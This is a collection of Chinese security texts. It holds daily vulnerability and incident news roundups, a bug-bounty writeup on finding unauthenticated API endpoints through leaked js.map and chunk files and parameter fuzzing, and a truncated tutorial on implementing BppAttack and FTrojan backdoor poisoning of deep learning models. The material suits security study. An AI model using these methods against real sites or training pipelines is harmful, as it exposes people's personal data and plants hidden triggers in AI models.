1、攻击者利用HTML Smuggling手段传播DCRat https://www.netskope.com/blog/dcrat-targets-users-with-html-smuggling 研究人员近期发现，攻击者正在利用HTML Smuggling手段传播DCRat。DCRat是一种远控木马，该远控木马使用C#编写，提供了击键记录、文件外传、命令执行和凭证盗窃等功能。在此次攻击活动中，攻击者将HTML文件伪装成俄语应用程序，如TrueConf和VK Messenger，表明可能是针对俄语用户的攻击活动。一旦受害者打开该HTML文件，它会自动下载一个受密码保护的ZIP文件，使用的密码是2024。该ZIP文件中包含一个自解压RAR文件，其中包 2、WooCommerce愿望清单插件中存在安全漏洞 https://securityonline.info/cve-2024-43917-cvss-9-3-unpatched-sqli-flaw-in-ti-woocommerce-wishlist-threatens-100000-sites/ WordPress插件TI WooCommerce Wishlist中存在一个安全漏洞，可能使超过10万个网站面临威胁。该漏洞被标识为CVE-2024-43917，CVSS评分为9.3，允许未经身份验证的用户执行任意SQL查询，可能使他们完全控制受影响的网站。该漏洞源于插件代码中的SQL注入问题。攻击者可以利用此漏洞绕过安全措施并操纵网站的数据库，导 3、备受争议的Windows Recall AI 搜索工具重新回归 https://www.securityweek.com/microsofts-controversial-recall-returns-with-proof-of-presence-encryption-data-isolation-opt-in-model/ 之前由于公众的强烈反对，微软撤下了备受争议的 Windows Recall 功能的预览版三个月后，微软表示已彻底改革了安全架构，包括存在证明加密、防篡改和 DLP 检查，以及在主操作系统之外的安全区域中管理屏幕截图数据。该功能利用人工智能创建可搜索的数字记忆，记录用户在 Windows 电脑上执行的所有操作，该功能也将默认关闭，并配 4、 以明文形式存储数亿个密码，Meta被罚1亿美元 https://www.freebuf.com/articles/412005.html 因意外将6 亿 Facebook 用户的密码以明文形式存储，当地时间9月27日，爱尔兰数据保护委员会（DPC）宣布对Facebook母公司Meta处以9100万欧元（约合1.01亿美元）罚款。 5、黑产伙同通信公司员工注册倒卖微信号牟利，涉案上千万！ https://www.freebuf.com/news/412017.html 2024年9月24日，据检察日报报道：注册微信账号必须用实名制的手机号码，通过系统发送短信进行验证等程序，才能注册成功。某通信集团贵州有限公司员工刘某为获取非法利益，在公司行业网关系统内搭建特殊通道，伙同他人让大量未实名注册且未投入使用的电话号码(以下简称“空号”)通过短信验证，从而成功注册微信账号。牵出了3个犯罪集团，28人获刑。 6、《工业和信息化领域数据安全合规指引》公开征求意见 https://www.secrss.com/articles/70772 为贯彻落实《数据安全法》《工业和信息化领域数据安全管理办法（试行）》等法律法规要求，中国钢铁工业协会、中国有色金属工业协会、中国石油和化学工业联合会、中国建筑材料联合会、中国机械工业联合会、中国汽车工业协会、中国纺织工业联合会、中国轻工业联合会、中国电子信息行业联合会、中国计算机行业协会、中国通信标准化协会、中国通信企业协会、中国互联网协会、中国中小企业国际合作协会、中国通信学会、工业和信息化部商用密码应用产业促进联盟、工业信息安全产业发展联盟等十七家行业组织共同编制《工业和信息化领域数据安全合规指引（征求意见稿）》 7、 “三只羊”录音门言论系AI伪造 https://secrss.com/articles/70747 合肥警方9月26日通报，网传“三只羊”卢某某的酒后言论系AI工具伪造。南都记者了解到，涉案嫌疑人用以伪造卢某某言论的AI声音克隆平台为“Reecho睿声”。 8、谷歌工作空间AI助手易受间接提示注入攻击 https://cybersecuritynews.com/gemini-workspace-prompt-injection/ 最近的一项调查显示，谷歌的 Gemini for Workspace（一款集成在谷歌各种产品中的多功能人工智能助手）容易受到间接提示注入攻击。 9、多款办公自动化系统遭受SQL注入攻击 https://sectoday.tencent.com/event/wD-VLpIBcIs5GCTMz5HC 近期，多个办公自动化(OA)系统被曝出严重的SQL注入漏洞，涉及WanhooOA-ezOFFICE、用友U8CRM等知名产品。这些漏洞使黑客能够轻易地操纵数据库，窃取企业机密信息甚至破坏整个系统架构。 10、韩国将视观看或持有深度伪造色情作品为犯罪 https://www.reuters.com/world/asia-pacific/south-korea-criminalise-watching-or-possessing-sexually-explicit-deepfakes-2024-09-26/ 首尔 9 月 26 日（路透社）——韩国议员周四通过了一项法案，将拥有或观看色情深度伪造图像和视频定为犯罪，处罚包括监禁和罚款。根据该法案，任何购买、保存或观看此类材料的人都可能面临最高三年的监禁或最高 3000 万韩元（22,600 美元）的罚款。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

小白的众测高危： 记先前某次众测，经过资产梳理，发现所有站点全部都挂了WAF，作为一名不钓鱼的挖洞小白，我估计这次又要空军。 小白生于天地之间，岂能郁郁难挖高危？ 想要在挂了WAF的站点挖出高危，很难，因为这些站点，你但凡鼠标点快点，检测出了不正确动作都要给你禁IP，至于WAF绕过对于小白更是难搞。其实在众测，大部分漏洞都并非那些什么SQL注入RCE等等，而小白想要出高危，可能也只有寄托希望于未授权。 未授权接口怎么找： 有一种站点，在URL内含有#符号，这种站点的路径接口信息泄露较多，更容易出未授权。 但要注意一点，#后面的东西是不会走服务器的，所以这里如果在findsomething找到了很多东西，拼接的时候带不带#号呢？ 这就要区分路由和接口了，如果看着像是路由，在这种原本就有#符号站点，就带上#符号。如果是接口，接口一般是用来进行数据交互的，所以需要走服务器，那就不能拼接#符号。 区分上述后就可以将拿到的东西以POST请求，GET请求都跑一遍，再看是否存在能用的接口，再根据接口返回情况看是否需要添加参数。 这里又是涉及一个很麻烦的点，那就是遇到接口能用，找到参数了，但参数的格式不知道，我这次讲的这个高危就遇到了这种情况，差点错过！ 在将现有js里面的接口跑完后还需要注意找js里面的js里面的接口。 这里有两种常见情况： 一、js.map泄露 大多webpack打包的站点会有js.map文件，那js.map文件怎么利用呢？ 首先需要下载下来： 如上图，右键检查后，在网络处找.js文件，再点击它，在右方找到js文件的路径，并在结尾加上.map访问即可下载。 之后再由reverse-sourcemap工具还原js.map文件，再由vscode等工具打开，进行接口关键字搜查。 二、大量chunk类型js泄露： 如图： 我们如果在数据包或者js文件看到这种格式内容，就可以考虑进一步利用。 首先将所有内容复制出来，再用notepad++打开： 如图进行替换成符合burp里面chunk文件的格式，再放到burp里面跑一遍，配合HAE插件可以提取更加全面的接口信息。 小白找的高危未授权接口： 我也是通过上述方法找到接口后放到burp里面跑，（跑的时候记得加参数），例如接口中有类似id=，url=，wid=等等最好自己加个参数上去。 但就是因为不知道参数类型，我险些错过这个高危漏洞。 如上图第一个接口，因为参数不正确跑出来跟其它接口一个样，不过还好我留意了一下，并且运气好，随手拼的参数居然正确了，直接下载了敏感文件，造成用户全家姓名，电话，住址，工作公司，身份证等等信息全部泄露。（所以这里注意：对有参数的接口即使一次没跑出信息，也要考虑是否需要对参数进行FUZZ） 并且id参数可遍历，形成大范围用户泄露，高危漏洞到手。

1、研究人员披露CUPS中的多个安全漏洞 https://securityonline.info/critical-cups-vulnerabilities-expose-linux-and-other-systems-to-remote-attacks/ 研究人员发现并披露了CUPS（Common Unix Printing System）中的多个安全漏洞。CUPS是Linux系统以及BSD、Oracle Solaris和Google Chrome OS等平台上广泛使用的打印服务。这些漏洞被标识为CVE-2024-47176、CVE-2024-47076、CVE-2024-47175、CVE-2024-47177。攻击者能够结合利 2、科威特卫生部门遭受网络攻击，导致多家医院和医疗保健应用瘫痪 https://therecord.media/kuwait-ministry-restoring-systems-cyberattack 科威特卫生部正在恢复系统，此前的一次网络攻击导致该国多家医院和医疗保健应用程序瘫痪，该国卫生部网站仍然无法访问。政府使用备份恢复了科威特癌症控制中心的系统、管理国家健康保险的系统和外籍人士体检办公室的系统。科威特官员们表示，一项调查显示了攻击者是如何入侵他们的系统的，攻击者未能进入重要数据库，但卫生部被迫关闭某些系统以安装所需的更新。目前没有任何勒索组织声称对此次攻击负责。 3、HPE Aruba Networking修复三个安全漏洞 https://www.bleepingcomputer.com/news/security/hpe-aruba-networking-fixes-three-critical-rce-flaws-impacting-its-access-points/ HPE Aruba Networking修复了其Aruba接入点命令行界面（CLI）服务中的三个安全漏洞，这些漏洞可能允许未经身份验证的攻击者在易受攻击的设备上远程执行代码。攻击者可以通过向PAPI（Aruba的接入点管理协议）UDP端口（8211）发送特制的数据包来利用这些漏洞（CVE-2024-42505、CVE-2024-42506和 4、VLC媒体播放器中存在安全漏洞 https://securityonline.info/vlc-media-player-update-needed-cve-2024-46461-discovered 使用VLC媒体播放器的用户应立即更新软件，该软件中存在一个安全漏洞，该漏洞可能允许攻击者使程序崩溃甚至执行任意代码。该漏洞被标识为CVE-2024-46461，CVSS评分为8.0。问题源于当VLC处理恶意制作的MMS流时可能触发整数溢出。虽然该漏洞最可能导致的结果是程序崩溃，但如果结合其他漏洞，这个漏洞可能导致信息泄露或远程代码执行。到目前为止，没有发现该漏洞被恶意利用。用户应将VLC媒体播放器更新至3.0.21或更高版本 5、研究人员披露WatchGuard产品中的安全漏洞 https://securityonline.info/critical-watchguard-vulnerabilities-discovered-cve-2024-6592-and-cve-2024-6593/ 研究人员披露了WatchGuard的认证网关和单点登录客户端软件中的两个安全漏洞CVE-2024-6592和CVE-2024-6593。CVE-2024-6593源于认证网关中的授权错误，此漏洞的CVSS评分为9.1，允许具有网络访问权限的攻击者执行认证网关上的受限管理命令。CVE-2024-6592源于协议通信中的授权错误，CVSS评分为9.1分，涉及认证网关和Windows及 6、英国主要火车站紧急关停公共WiFi：被黑后传播恐怖主义信息 https://www.secrss.com/articles/70730 由于发生“网络安全事件”，英国多家火车站已暂停提供WiFi服务。伦敦尤斯顿站、曼彻斯特皮卡迪利站和伯明翰新街站等19座车站在周三晚上停止了WiFi服务，到周四WiFi服务仍未恢复。据《曼彻斯特晚报》报道，有乘客在皮卡迪利站连接WiFi时，被引导到一个标题为“我们爱你，欧洲”的网页。该网页包含了反伊斯兰的信息以及关于英国和欧洲几起恐怖袭击的详细内容。 7、研究人员称十年前的严重漏洞影响所有 GNU/Linux 系统 https://www.anquanke.com/post/id/300491 一位研究人员声称发现了一个十年前的漏洞，评级为 9.9，该漏洞影响了所有 GNU/Linux 系统，使攻击者能够控制易受攻击的设备。该漏洞正在调查中，预计将于下周全面披露。 8、多家供应商的自动油箱计量系统发现严重漏洞 https://www.bitsight.com/blog/critical-vulnerabilities-discovered-automated-tank-gauge-systems Bitsight 的安全研究人员在自动油箱计量 (ATG) 系统中发现了严重漏洞，包括 Maglink LX、Maglink LX4、OPW SiteSentinel、Proteus OEL8000、Alisonic Sibylla 和 Franklin TS-550。 9、BBTok 使用 AppDomain Manager 注入技术针对巴西 https://www.gdatasoftware.com/blog/2024/09/38039-bbtok-deobfuscating-net-loader 针对巴西的威胁 BBTok 具有复杂的感染链，从包含 ISO 映像的电子邮件开始。该恶意软件直接在受感染的机器上编译 C# 代码，并使用 AppDomain Manager 注入技术。 10、Microsoft音频总线漏洞使攻击者可执行远程代码 https://cybersecuritynews.com/microsoft-audio-bus-rce-vulnerability/ 思科 Talos 漏洞研究团队发现了微软产品中的两个重大漏洞，该公司已在过去两个补丁星期二修补了这些漏洞。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、Dragonfly2中存在安全漏洞 https://securityonline.info/critical-dragonfly2-flaw-cve-2023-27584-hardcoded-key-threatens-admin-access/ Dragonfly2是一个开源的、基于点对点（P2P）的文件分发和镜像加速系统，最近在该系统中发现一个安全漏洞，该漏洞被标识为CVE-2023-27584，CVSS 评分为 9.8。这个漏洞源于该系统在身份验证过程中使用了硬编码的加密密钥，使系统容易受到攻击。这使得攻击者可以使用已知密钥生成有效的JWT令牌，从而完全绕过身份验证措施。Dragonfly2已修复该漏洞，建议所有使用Dr 2、pgAdmin修复其存在的安全漏洞 https://securityonline.info/cve-2024-9014-cvss-9-9-pgadmins-critical-vulnerability-puts-user-data-at-risk/ pgAdmin是一款开源PostgreSQL数据库管理工具，其开发团队发布了一个紧急安全更新，以修复影响8.11及更早版本的安全漏洞。该漏洞被标识为CVE-2024-9014，CVSS评分为9.9。该漏洞存在于pgAdmin的OAuth2认证实现中，可能允许攻击者未经授权访问敏感的用户信息，包括客户端ID和密钥。pgAdmin开发团队强烈建议所有用户尽快更新至8.12版本。此版本不 3、研究人员发现针对北美运输和物流公司的攻击活动 https://www.proofpoint.com/us/blog/threat-insight/security-brief-actor-uses-compromised-accounts-customized-social-engineering 研究人员发现了一场针对北美运输和物流公司的攻击活动。攻击者利用行业内合法公司的失窃电子邮件账户，使用社会工程学策略向受害者投递恶意软件。研究人员称，自2024年5月以来，至少有15个失窃账户被用于进行攻击活动。攻击者不断改变他们的攻击策略。最初，他们投递的恶意软件包括Lumma Stealer、StealC和NetSupport。然而，到20 4、Nvidia容器套件严重缺陷导致云 AI 系统面临主机接管风险 https://www.securityweek.com/critical-nvidia-container-flaw-exposes-cloud-ai-systems-to-host-takeover/ Nvidia 确认存在代码执行、拒绝服务、权限提升、信息泄露和数据篡改的风险。CVSS 9/10。 5、思科修补 IOS 软件中的高危漏洞 https://www.securityweek.com/cisco-patches-high-severity-vulnerabilities-in-ios-software-2/ 思科已发布针对影响运行 IOS 和 IOS XE 软件的产品的七个高严重漏洞的补丁。 6、谷歌称用 Rust编写代码，五年漏洞数下降了68% https://www.freebuf.com/news/411787.html 从 Android 12 开始，Google 就在 Android 系统中带来了 Rust 语言的支持，作为 C/C++ 的替代方案，他们的目标并不是把现有的 C/C++ 代码都转换成为 Rust，而是在新编写的代码中使用 Rust 语言开发。 通过将越来越多的 Rust 代码集成到其 Android 操作系统中，Google 在减少漏洞方面的努力最终是获得了回报。 根据谷歌发布的最新公告：在过去五年的Android 系统版本中，内存安全漏洞的数量大幅下降了68%。这远远低于之前在 Chromium 中发现的 7、OpenPLC 中修补了远程代码执行和 DoS 漏洞 https://www.securityweek.com/remote-code-execution-dos-vulnerabilities-patched-in-openplc/ 思科 Talos 威胁情报和研究部门披露了几个最近修补的 OpenPLC 漏洞的细节，这些漏洞可用于发起 DoS 攻击和远程代码执行。 8、研究人员披露了起亚汽车漏洞，只需知道车牌即可远程控制 https://thehackernews.com/2024/09/hackers-could-have-remotely-controlled.html 网络安全研究人员披露了起亚汽车中目前已修补的一组漏洞，如果成功利用这些漏洞，只需使用车牌就可以远程控制汽车的关键功能。这些问题影响了几乎所有 2013 年后生产的车辆，甚至让攻击者秘密获取敏感信息，包括受害者的姓名、电话号码、电子邮件地址和实际地址。 9、Proxmox 虚拟环境和邮件网关存在严重 API 漏洞 https://securityonline.info/proxmox-virtual-environment-and-mail-gateway-exposed-to-critical-api-vulnerability/ Proxmox 虚拟环境 (VE) 和 Proxmox 邮件网关 (PMG) 中发现了一个严重漏洞，该漏洞可能允许未经授权访问敏感文件并可能导致整个系统受到损害。 10、黑客利用 PDF 文件传播新的 SnipBot 恶意软件 https://cybersecuritynews.com/hackers-weaponizing-pdf-files/ Palo Alto Networks 的安全专家最近发现，黑客一直在积极利用 PDF 文件来传播新的 SnipBot 恶意软件。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

前言 在本系列的第一部分中，我们已经掌握了深度学习中的后门攻击的特点以及基础的攻击方式，现在我们在第二部分中首先来学习深度学习后门攻击在传统网络空间安全中的应用。然后再来分析与实现一些颇具特点的深度学习后门攻击方式。 深度学习与网络空间安全的交叉 深度学习作为人工智能的一部分，在许多领域中取得了显著的进展。然而，随着其广泛应用，深度学习模型的安全性也引起了广泛关注。后门攻击就是其中一种重要的威胁，尤其在网络空间安全领域中。 我们已经知道深度学习后门攻击是一种攻击者通过在训练过程中插入恶意行为，使得模型在特定的触发条件下表现异常的攻击方式。具体来说，攻击者在训练数据集中加入带有后门触发器的样本，使得模型在遇到类似的触发器时，产生攻击者期望的错误输出，而在正常情况下，模型仍能表现出高准确率。这种隐蔽性和针对性使得后门攻击非常难以检测和防御。 现在我们举几个例子介绍后门攻击在网络空间安全中的应用场景。 恶意软件检测：在网络安全中，恶意软件检测是一个重要应用。攻击者可以通过后门攻击技术，使得恶意软件检测模型在检测特定样本时失效。例如，攻击者可以在训练恶意软件检测模型时插入带有后门的恶意样本，使得模型在检测带有特定触发器的恶意软件时无法正确识别，从而达到隐蔽恶意软件的目的。 入侵检测系统：入侵检测系统（Intrusion Detection System, IDS）用于监测网络流量并识别潜在的入侵行为。攻击者可以在训练IDS模型时加入后门触发器，使得模型在特定条件下无法识别攻击流量。例如，攻击者可以在训练数据中插入带有特定模式的正常流量，使得模型在检测到这些模式时误判为正常，从而绕过入侵检测系统。 图像识别安全：在网络空间安全中，图像识别技术被广泛应用于身份验证和监控系统中。攻击者可以利用后门攻击，在训练图像识别模型时插入带有后门的图像样本，使得模型在识别带有特定触发器的图像时出现误判。例如，攻击者可以使得带有特定标志的非法图像被识别为合法，从而绕过安全监控系统。 可见后门攻击与网络空间安全其他领域还是存在不少交叉的。 现在我们继续来分析并实现、复现典型的深度学习后门攻击方法。 BppAttack 理论 这篇工作提出了一种名为BPPATTACK的深度神经网络（DNN）木马攻击方法。该攻击利用了人类视觉系统对图像量化和抖动处理不敏感的特性，通过这些技术生成难以被人类察觉的触发器，进而实现对DNN的高效、隐蔽的木马攻击。 现有的攻击使用可见模式（如图像补丁或图像变换）作为触发器，这些触发器容易受到人类检查的影响。比如下图就可以看到很明显的触发器。 BPPATTACK方案的核心思想是利用人类视觉系统对图像微小变化的不敏感性，通过图像量化和抖动技术生成难以被人类察觉的触发器，实现对深度神经网络（DNN）的高效、隐蔽的木马攻击。 人类视觉系统对颜色深度的变化不是特别敏感，特别是当颜色变化非常微小的时候。BPPATTACK正是基于这一生物学原理，通过调整图像的颜色深度来生成触发器。 图像量化（Bit-Per-Pixel Reduction）： 图像量化是减少图像中每种颜色的比特数，从而减少图像的总颜色数量。BPPATTACK通过降低每个像素的比特深度，使用量化后的最近邻颜色值来替换原始颜色值，实现对图像的微小修改。 抖动技术（Dithering）： 为了消除由于颜色量化引起的不自然或明显的图像伪影，BPPATTACK采用抖动技术，特别是Floyd-Steinberg抖动算法，来平滑颜色过渡，提高图像的自然度和视觉质量。 BPPATTACK旨在生成一种触发器，它对人类观察者来说是几乎不可察觉的，但对机器学习模型来说足够显著，能够触发预设的木马行为。这种平衡是通过精确控制量化和抖动的程度来实现的。 与需要训练额外的图像变换模型或自编码器的攻击不同，BPPATTACK不需要训练任何辅助模型，这简化了攻击流程并提高了效率。 为了提高攻击的成功率和隐蔽性，BPPATTACK采用了对比学习和对抗性训练的结合。通过这种方式，模型被训练来识别和利用量化和抖动生成的触发器，同时忽略其他不重要的特征。 量化过程涉及将原始图像的颜色深度从( m )位减少到( d )位（( d < m )）。对于每个像素值，使用以下公式进行量化： 其中： ( T(x) ) 是量化后的像素值。 ( x ) 是原始像素值。 ( m ) 是原始颜色深度的位数（每个通道）。 ( d ) 是量化后的目标颜色深度的位数。 ( \text{round} ) 是四舍五入到最近的整数。 Floyd-Steinberg Dithering:抖动算法用于改善量化后的图像质量，通过将量化误差扩散到邻近像素。对于每个像素，计算量化误差并更新周围像素： 然后，根据Floyd-Steinberg分布，更新当前像素和周围像素： BPPATTACK方案的关键在于通过量化和抖动技术生成的微小变化对人类视觉系统是不可见的，但对DNN模型是可区分的，从而实现隐蔽的木马攻击。 实现 我们来看看该方法得到的部分中毒样本 分析关键函数 Bpp 类：继承自 BadNet，添加了命令行参数处理和数据集准备功能，用于特定处理阶段。 set_bd_args 方法：配置与攻击设置相关的命令行参数。 stage1_non_training_data_prepare 方法：准备和变换数据集，设置 DataLoader，并存储阶段 1 的结果。 1. 类定义与初始化 类声明： class Bpp(BadNet): Bpp 是 BadNet 的一个子类。 构造函数 (__init__ 方法)： def __init__(self):: 这是 Bpp 的初始化方法。 super(Bpp, self).__init__(): 调用父类 BadNet 的构造函数，以确保执行父类中的初始化逻辑。 2. 设置命令行参数 set_bd_args 方法： def set_bd_args(cls, parser: argparse.ArgumentParser) -> argparse.ArgumentParser:: 这个类方法用于使用 argparse 库设置命令行参数。 parser = add_common_attack_args(parser): 调用 add_common_attack_args 函数，添加与攻击相关的常见参数。 parser.add_argument(...): 添加各种命令行参数： --bd_yaml_path: 指定一个 YAML 文件的路径，用于提供额外的默认属性。 --neg_ratio, --random_rotation, --random_crop, --squeeze_num, --dithering: 各种与攻击配置相关的参数，如负比率、旋转、裁剪、压缩和抖动。 返回值： 返回更新后的 parser 对象，其中包含所有添加的参数。 3. 准备第一阶段的数据 stage1_non_training_data_prepare 方法： def stage1_non_training_data_prepare(self):: 这个方法用于准备第一阶段的数据。 日志记录与断言： logging.info("stage1 start"): 记录阶段 1 的开始。 assert "args" in self.__dict__: 确保 args 属性存在于实例中。 数据集准备： train_dataset_without_transform, train_img_transform, train_label_transform, 等变量：这些变量被赋值为调用 self.benign_prepare() 的结果，该方法用于准备数据集和变换。 clean_train_dataset_with_transform.wrap_img_transform = test_img_transform: 将训练数据集的图像变换更新为与测试数据集的图像变换一致。 DataLoader 初始化： clean_train_dataloader: 一个用于清洁训练数据集的 DataLoader，应用了变换。 clean_train_dataloader_shuffled: 一个用于清洁训练数据集的 DataLoader，但数据是打乱的。 clean_test_dataloader: 一个用于清洁测试数据集的 DataLoader。 存储结果： self.stage1_results: 存储各种数据集和 DataLoader 以备阶段 1 进一步使用。 这段代码是一个神经网络训练和评估的流程，具体针对的是后门攻击（backdoor attack）的研究 初始化： 代码开始时，记录训练阶段2的开始时间。 通过断言检查 self 对象中是否包含 args 属性，获取训练参数。 设备选择： 根据是否有可用的 GPU 来设置计算设备。如果 args.device 包含多个设备（例如 "cuda:2,3,7"），则使用 torch.nn.DataParallel 来并行计算。 模型生成： 调用 generate_cls_model 函数生成分类模型 netC，并将其移动到指定的设备上。 优化器和学习率调度器： 调用 argparser_opt_scheduler 函数获取优化器和学习率调度器。 数据预处理： 过滤出可逆的图像变换（如标准化、缩放、转换为张量）。 创建干净和背门攻击的数据集，分别保存处理后的数据集。 训练数据处理： 遍历干净训练数据，通过反归一化得到原始图像。 根据攻击标签转换类型（"all2one" 或 "all2all"）来生成背门攻击数据。 处理数据集中的每一批次，并将干净样本和背门样本保存到数据集中。 测试数据处理： 对测试数据进行类似的预处理和保存操作，包括处理干净测试数据和背门测试数据。 评估背门效果，并根据攻击标签转换类型生成相应的标签和数据。 负样本生成： 如果指定了负样本比率（neg_ratio），生成负样本数据。这些负样本用于评估背门攻击的效果。 将负样本与其他数据合并，并保存处理后的数据。 模型训练和评估： 对每个 epoch 执行训练和评估步骤。记录训练损失、准确率、背门攻击成功率等指标。 将每个 epoch 的训练和测试结果保存到列表中，并绘制训练和测试指标的图表。 模型保存和结果输出： 在训练周期结束时保存模型状态、学习率调度器状态、优化器状态等。 将训练和测试结果保存到 CSV 文件中，并生成最终的攻击结果数据。 完成： 输出“done”表示训练和保存过程已完成。 每个步骤都有明确的目标，从数据处理到模型训练，再到最终结果保存，涵盖了整个训练和评估的过程。 这段代码包含了两个主要的函数：train_step 和 eval_step。它们分别用于训练和评估模型 train_step 函数 功能: 执行一个训练步骤，处理数据、计算损失、更新模型权重，并计算各种指标。 初始化: 记录日志，设置模型为训练模式。 获取训练参数，包括背门比率（rate_bd）和压缩数（squeeze_num）。 初始化交叉熵损失函数（criterion_CE）和数据转换对象（transforms）。 初始化一些用于记录的列表。 数据处理: 对每个批次的数据进行处理： 清空优化器的梯度。 将输入数据和目标标签移动到指定设备（GPU/CPU）。 计算背门样本和负样本的数量。 根据是否存在背门样本和负样本，生成相应的数据： 背门样本: 对背门样本进行处理（如抖动处理）并生成标签。 负样本: 生成负样本数据并合并到训练数据中。 处理数据集中的每一批次，将背门样本和负样本合并到一起。 应用数据转换函数。 模型训练: 计算模型的预测结果，并记录计算时间。 计算损失，进行反向传播，更新优化器。 记录每个批次的损失、预测结果、标签等信息。 计算指标: 计算每个 epoch 的平均损失和准确率。 根据背门样本、负样本和干净样本的指标，计算背门攻击成功率（ASR）、干净样本准确率等。 返回: 返回训练过程中的各种指标：平均损失、混合准确率、干净样本准确率、背门攻击成功率、背门样本恢复准确率、交叉样本准确率。 eval_step 函数 功能: 执行模型评估，计算不同数据集（干净数据集、背门数据集、交叉数据集等）的损失和准确率。 清洁测试数据集评估: 使用 given_dataloader_test 函数评估干净测试数据集，获取损失和准确率。 背门数据集评估: 使用 given_dataloader_test 函数评估背门测试数据集，获取损失和准确率。 背门样本恢复（RA）数据集评估: 对背门样本恢复数据集进行转换和评估，获取损失和准确率。 交叉数据集评估: 使用 given_dataloader_test 函数评估交叉测试数据集，获取损失和准确率。 返回: 返回不同数据集的损失和准确率：干净测试集损失和准确率、背门测试集损失和准确率、交叉测试集损失和准确率、恢复测试集损失和准确率。 这些函数一起构成了一个完整的训练和评估流程，涵盖了数据处理、模型训练、指标计算和评估等多个方面。 开始进行后门注入 攻击配置如下所示 训练期间的部分截图如下 也可以查看acc的变化情况 可以看到主要关注的指标都在稳步上升 以35epoch为例，此时的后门攻击成功率达到了0.98，而深度学习模型执行正常任务的准确率达到了0.91 FTrojan 理论 FTrojan攻击的核心思想是在频率域中注入触发器。这种方法利用了两个关键直觉： 在频率域中的小扰动对应于整个图像中分散的小像素级扰动，这使得图像在视觉上与原始图像难以区分。 卷积神经网络（CNN）能够学习并记住频率域中的特征，即使输入的是空间域像素。 FTrojan攻击包括以下步骤： 将图像从RGB色彩空间转换到YUV色彩空间，因为人的视觉系统对YUV中的UV（色度）分量不那么敏感。 对图像的UV分量进行离散余弦变换（DCT），将其从空间域转换到频率域。 在频率域中生成触发器，选择固定大小的频率带作为触发器。 应用逆DCT将图像从频率域转换回空间域。 最后，将图像从YUV色彩空间转换回RGB色彩空间。 我们来分析关键细节 FTrojan攻击方法的核心在于利用频率域的特性来注入难以被检测到的后门触发器。 颜色空间转换（RGB到YUV）： 使用线性变换将RGB图像转换为YUV空间。YUV空间将颜色图像分解为亮度（Y）和色度（U, V）分量。人的视觉系统对色度分量的变化不如亮度分量敏感，因此在色度分量中注入触发器对视觉的影响较小。 离散余弦变换（DCT）： 对YUV空间中的U和V分量应用DCT，将图像从空间域转换到频率域。DCT将图像表示为不同频率的余弦函数的集合，能量集中在低频部分，高频部分则包含图像的边缘和细节信息。 DCT公式如下： 其中，(X(u, v))是DCT系数，(x(x, y))是图像在空间域的像素值，(M)和(N)是图像的宽度和高度，(u)和(v)是频率索引。 触发器生成： 在频率域中选择特定的频率带作为触发器。触发器的频率和幅度是两个关键参数： 触发器频率：选择中频和高频带的组合，以平衡人类视觉感知的敏感性和触发器的鲁棒性。 触发器幅度：选择适中的幅度以确保触发器对CNN是可学习的，同时对人类视觉系统是不可见的。 逆离散余弦变换（Inverse DCT）： 使用逆DCT将修改后的频率域图像转换回空间域，得到注入了后门触发器的图像。 逆DCT公式如下： 颜色空间转换（YUV回到RGB）： 最后，将修改后的YUV图像转换回RGB空间，因为大多数CNN模型是在RGB空间上训练的。 完整的攻击流程如下图所示 下图是本方法生成的中毒样本与触发器，可以看到是具有一定隐蔽性的 下图是通过 FTrojan 攻击来得到的中毒图像。混频将触发器混合在中频和高频成分中。我们可以观察到，当触发器存在于具有适中幅度的高频和中频成分中时，中毒图像在视觉上很难被检测到。 复现 攻击类 这段代码定义了一个 Ftrojann 类，继承自 BadNet。下面是代码的功能解释： set_bd_args 方法: 这个方法用于设置命令行参数。它接受一个 argparse.ArgumentParser 对象作为输入，并返回一个更新后的 ArgumentParser 对象。 add_common_attack_args(parser) 是一个函数调用，可能会向 parser 中添加一些通用的攻击相关参数。 添加了多个特定参数： --channel_list：接收一个整数列表，代表频道列表。 --magnitude：接收一个浮点数，表示强度。 --YUV：接收一个布尔值，表示是否使用 YUV 格式。 --window_size：接收一个整数，表示窗口大小。 --pos_list：接收一个整数列表，表示位置列表。 --bd_yaml_path：接收一个字符串，指定 YAML 文件的路径，该文件提供附加的默认属性。默认路径是 ./config/attack/ftrojann/default.yaml。 add_bd_yaml_to_args 方法: 这个方法用于将 YAML 文件中的默认属性添加到 args 参数中，并进行一些额外的处理。 从 args.bd_yaml_path 指定的路径读取 YAML 文件内容，解析为字典 mix_defaults。 将 args 对象中非 None 的参数更新到 mix_defaults 中。 将 args 对象的 __dict__ 属性（存储了所有参数）更新为合并后的字典。 检查 pos_list 的长度是否为偶数，如果不是，抛出 ValueError。 将 pos_list 转换为一对一对的元组列表，例如，将 [x1, y1, x2, y2] 转换为 [(x1, y1), (x2, y2)]。 着重查看对于数据集的处理代码 这个类的主要功能是处理带有后门攻击的图像数据集，支持图像和标签的预处理、状态恢复和复制。 这段代码定义了一个名为 prepro_cls_DatasetBD_v2 的 PyTorch 数据集类。这个类扩展了 torch.utils.data.Dataset，用于处理带有后门攻击（backdoor attack）的数据集 __init__ 方法: 参数: full_dataset_without_transform: 原始数据集，没有应用任何变换。 poison_indicator: 一个可选的序列，表示哪些图像需要应用后门变换（使用 one-hot 编码）。默认为 None，如果没有提供，则初始化为全零的数组。 bd_image_pre_transform: 应用在图像上的后门变换函数。 bd_label_pre_transform: 应用在标签上的后门变换函数。 save_folder_path: 保存后门图像的文件夹路径。 mode: 当前模式，默认为 'attack'。 操作: 初始化数据集和相关属性。 检查 poison_indicator 的长度是否与数据集长度匹配。 如果 poison_indicator 中的值大于等于 1，则调用 prepro_backdoor() 方法进行后门数据预处理。 设置其他属性，如 getitem_all 和 getitem_all_switch，用于控制数据集的取值方式。 prepro_backdoor 方法: 对所有需要后门变换的样本进行处理。 遍历数据集的所有索引，如果 poison_indicator 